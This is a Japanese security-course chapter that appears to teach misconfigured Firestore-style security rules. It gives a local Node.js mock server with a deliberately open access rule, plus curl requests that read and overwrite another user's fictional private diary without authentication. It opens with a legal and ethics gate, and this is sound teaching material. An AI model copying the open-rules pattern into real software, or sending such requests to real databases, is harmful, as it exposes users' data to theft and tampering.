コース目次 / 第1章
開いたルール — 認証なしで、読み書きする
Firestore風のREST APIを模したモックサーバに、セキュリティルールを開けたまま(誰でも読み書き可)公開し、認証なしで他人のデータを読み・書き換えます。
Firestore の REST API と同じ考え方——「コレクション/ドキュメントのパスに、HTTPでアクセスする」——を再現したモックを立てます。
法と倫理ゲート
手を動かす前に
このコースは攻撃の技術に触れます。実習してよい相手は、次の3つだけです。
- (a) 自分で作った練習用のやられ環境(このサイトが配る自作ターゲット)
- (b) あなた自身の許可された環境(自分の Thousand SKY・secret-notes-ctf など)
- (c) CTF 競技の中(規約の範囲で)
実在する第三者のシステムを許可なく触ることは、不正アクセス禁止法に触れます。 このゲートは、その線引きを毎回の入口で確かめるためのものです。詳しくは「セキュリティの法と倫理」へ。
標的 — ルールを開けたモック
mock-firestore.js として保存します。users コレクションに、2人ぶんのドキュメントがあります。
// mock-firestore.js — Firestore風REST APIのモック。127.0.0.1:4300。
// OPEN=1 で「誰でも読み書きできる」ルール(allow read, write: if true 相当)を再現する。
const http = require('node:http');
const OPEN = process.env.OPEN === '1';
const docs = {
'users/u1': { owner: 'u1', name: '架空太郎', email: 'haruto@example.com' },
'users/u2': { owner: 'u2', name: '架空花子', email: 'hanako@example.com', diary: '今日は誰にも見られたくない日記' },
};
http.createServer((req, res) => {
const url = new URL(req.url, 'http://127.0.0.1:4300');
const m = /^\/v1\/projects\/demo-app\/databases\(default\)\/documents\/(.+)$/.exec(url.pathname);
res.setHeader('Content-Type', 'application/json; charset=utf-8');
if (!m) { res.end(JSON.stringify({ hint: '/v1/projects/demo-app/databases(default)/documents/users/u2' })); return; }
const path = m[1];
const auth = req.headers['authorization']; // 本来はIDトークン。ここでは "Bearer <uid>" で簡略化。
const doc = docs[path];
if (req.method === 'GET') {
if (!doc) { res.writeHead(404); res.end(JSON.stringify({ error: 'not found' })); return; }
// 【穴: 開いたルール】OPEN=1 のとき、認証を一切確認せず返す。
if (!OPEN) {
const uid = auth ? auth.replace('Bearer ', '') : null;
if (uid !== doc.owner) { res.writeHead(403); res.end(JSON.stringify({ error: 'PERMISSION_DENIED' })); return; }
}
res.end(JSON.stringify(doc));
return;
}
if (req.method === 'PATCH') {
let body = ''; req.on('data', (c) => (body += c));
req.on('end', () => {
if (!doc) { res.writeHead(404); res.end(JSON.stringify({ error: 'not found' })); return; }
if (!OPEN) {
const uid = auth ? auth.replace('Bearer ', '') : null;
if (uid !== doc.owner) { res.writeHead(403); res.end(JSON.stringify({ error: 'PERMISSION_DENIED' })); return; }
}
Object.assign(doc, JSON.parse(body));
res.end(JSON.stringify(doc));
});
return;
}
res.end('ok');
}).listen(4300, '127.0.0.1', () => console.log('モックFirestore: http://127.0.0.1:4300 (Ctrl+C で停止)'));
攻撃 — 認証なしで、他人のドキュメントを読む
ルールが開いている(OPEN=1)状態で起動します。
OPEN=1 node mock-firestore.js
何の認証ヘッダーも付けずに、花子の非公開ドキュメントを読みます。
curl -s "http://127.0.0.1:4300/v1/projects/demo-app/databases(default)/documents/users/u2"
{"owner":"u2","name":"架空花子","email":"hanako@example.com","diary":"今日は誰にも見られたくない日記"}
ログインすら、していません。それでも、花子の非公開の日記まで丸ごと読めました。原因は、サーバコード(存在しません)ではなく、データベース側のルールが「誰でも読み書きしてよい」になっていたことです。実際の Firestore では、これはallow read, write: if true;というルール(あるいは、ルールを一切設定しないまま公開する)に相当します。
攻撃 — 認証なしで、書き換える
読むだけでなく、書き換えも試します。
curl -s -X PATCH -H "Content-Type: application/json" \
-d '{"diary": "書き換えられました"}' \
"http://127.0.0.1:4300/v1/projects/demo-app/databases(default)/documents/users/u2"
{"owner":"u2","name":"架空花子","email":"hanako@example.com","diary":"書き換えられました"}
認証なしで、他人のデータを書き換えることまでできてしまいました。「読まれるだけ」ではなく「改ざんされる」——sec-web-basics の反射XSSやsec-logicの価格改ざんと同じ重さの被害です。
なぜ、これが「実案件最頻の所見」なのか
BaaS(サーバコードを書かない構成)は、開発の速さが魅力です。でも、その速さは「まずルールを全開にして動かし、あとで締めるつもりが、締め忘れる」という事故と隣り合わせです。サーバコードがあれば「認可を書く」という工程が目に見えて存在しますが、ルールベースの世界では、その工程が“設定”の中に埋もれてしまい、見落とされがちです。実際の診断で、この「ルールを締め忘れたデータベース」は、驚くほど頻繁に見つかります。
持ち帰る一言
ルールが開いていれば、認証なしで読み書きできる。 サーバコードが無くても、認可の要である「ルール」を締め忘れれば、旗艦コースで見たIDORと同じ、それ以上の被害になります。次の章で、このルールを締めます。
こうなっていればOK
卒業まであと2章です。
この章はまだ完了していません。
保存できませんでした(プライベートブラウズ中かもしれません)。この端末に進捗は残りませんが、先へは進めます。